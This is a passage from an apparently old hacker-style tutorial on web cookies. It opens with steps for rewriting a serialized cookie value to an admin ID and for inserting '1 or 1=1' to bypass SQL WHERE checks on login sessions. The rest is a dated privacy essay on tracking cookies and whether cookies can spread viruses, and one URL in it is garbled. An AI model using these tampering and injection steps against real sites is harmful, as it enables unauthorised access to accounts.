Changing the cookie value is easy once you have declared the window.c function. First change s:5:"75959" to s:x:"ADMINID" where x is the length of the new value. So if you want to change 75959 to 1. You must change s:5:"75959" to s:1:"1" :-) Sometimes you will need to change 75959 to "13 or 1=1" in order to bypass any WHERE statements any sql session queries used to keep you logged in the website.

[0x01.11]Cookie As Homing Pigeon:

Have you had a cookie lately? No, not of the edible variety - I'm talking about the homing-pigeon-type program that, without your knowledge, can enter your computer via the Internet and leave with personal information about you.

Like Secret Agent 007 quietly making his way into a foreign country and returning with secret documents, a cookie infiltrates your computer and, in many cases, retrieves information without your knowledge.

Web-site designers cooked up the first batch of cookies years ago to make cruising the information highway easier for all of us. They were designed to allow us access to certain web sites without having to identify ourselves every time we returned to a site. For example, I recently wanted to download Outlook 98 from Microsoft's web site. The first time I entered the site, I had to supply some basic registration information. Then, Microsoft logged me in, sent my computer a cookie and I was allowed to start downloading. The next time I returned to Microsoft's site, I was able to download another program without re-

supplying the information.

More recently, marketing-consultant firms such as DoubleClick Inc. have begun sending out a new form of "super cookie." These smarter cookies are designed to increase the efficiency of advertising placement on web sites. For example, if I visit a site managed by DoubleClick and I receive one of their cookies, my movements on the Internet can then be tracked. If they find I spend a lot of time on the WHAS web site, they are likely to suggest to merchants that they purchase advertisements (commonly called banners) on that web site. The system is already working for 3M Corp. The company used cookies to determine which people would be most likely to buy an expensive multi-media projector - and then the 3M targeted advertising to that group.

On the positive side, cookies may actually help unite consumer and merchant. But these undercover cookies usually do the tracking without alerting computer owners.

Some of you may think this is hardly worth griping about. So a company knows where you've been; big deal. However, consider how this technology can start to intrude on your privacy. Suppose you or your children do online research for information on AIDS, abortion, the death penalty, birth control, gun control, gay rights, or even communism. With the help of a cookie, your name and search topic might end up in the hands of special-interest groups with plans to solicit a change of your perspective.

Worse yet, let's say you have family coming for the holidays and want to look for a deal for alcohol on the web. Now suppose a cookie placed in your computer system puts you on a list that your insurance company purchases. All of a sudden you're pegged as someone who frequents sites that promote alcohol. Could your insurance rates be increased?

The cookie system has potential for a lot more abuse than this. Some unethical groups have expanded the role of the cookie, allowing it not only to secretly track your actions on the web, but also to invade your computer and retrieve detailed information. At the command of the invading company, the cookie can create detailed profiles of not only your hobbies and lifestyle but your assets as well. Naturally, this could lead to a deeper invasion of personal privacy than we've ever seen. Those who planted the cookie can use the information for their own purposes and then resell it for a profit.

The Energy Department's Computer Incident Advisory Capability (CIAC) has already confirmed fears that the safety of personal information many of us store on our hard drives is at risk. The department's recently published alert says cookies could be written allowing access to passwords and financial information on our hard drives.

In researching this issue, I decided to check out how often cookies arrive at my computer. I suggest you try this as well - you'll be shocked with the results. Turn off the "accept all cookies" feature of your web browser and choose the "Warn me before accepting a cookie" option. If you use a recently released Netscape browser, go to edit > preferences > advanced and click the "warn me" option. With an Explorer browser, go to view > Internet options > advanced, then scroll down to "cookies" and choose the "prompt before accepting cookies." Now surf

the 'Net and watch the cookies appear.

Anti-cookie programs are available, such as PGP Cookie Cutter, that use filters to block or allow cookies at your command. The Cookie Crusher (http://www.rocketdownload.com) will automatically accept or reject cookies from user-selected sites. A free program for Macintosh users is the Cookie Monster (http://www.c/net.com). It automatically deletes the cookies.txt files at each startup.

[0x01.12]Chances Of Catching Virus From Cookies:

A normal text based cookie cannot be of any danger to your computer or spread any viruses. Whether or not other cookies can be dangerous or spread viruses has to do with whether or not a file is "executable," meaning if it's a program rather than data. UNIX files, for instance, have some combination of the properties "readable," "writable" and "executable." The executable property is necessary to enable a program in a file to do something. If a cookie is not stored in an executable format for that platform, it cannot do something hostile.

Most cookies are not executable, and I have not come across one. In general Cookies are stored as text files and cannot be of danger or pass on viruses. Even if a cookie is executable it cannot automatically spread on a virus unless you execute it. But of course with recent bugs in Internet Explorer 3.0, it will let a site run a application. In theory, if a executable cookie was set with malicious contents, then it is possible that IE3.0 could execute it, then it could affect your computer with a virus.

The maximum contents of a cookie is 4Kb, and the line to delete the contents of a hard-disk is only 18 bytes long, so obviously the virus could do some damage even though it could not be a complete Trojan horse. Please note this is only a theory and I have never seen a cookie that was able to spread a virus, this would be virtually impossible, and would take a great deal of work. This theory is trivial compared to some other very real loopholes in the net. A loophole in ActiveX was demonstrated, and was able to access the underlying file system. There has also been some security problems uncovered in Java.

Basically cookies cannot harm your computer. The general controversy is not what cookies can do to your computer, but what information they can store, and what they can pass on to servers, there is currently a new proposal to limit the features of the cookie protocol, which would give people a greater control over what cookies they can accept and from where.
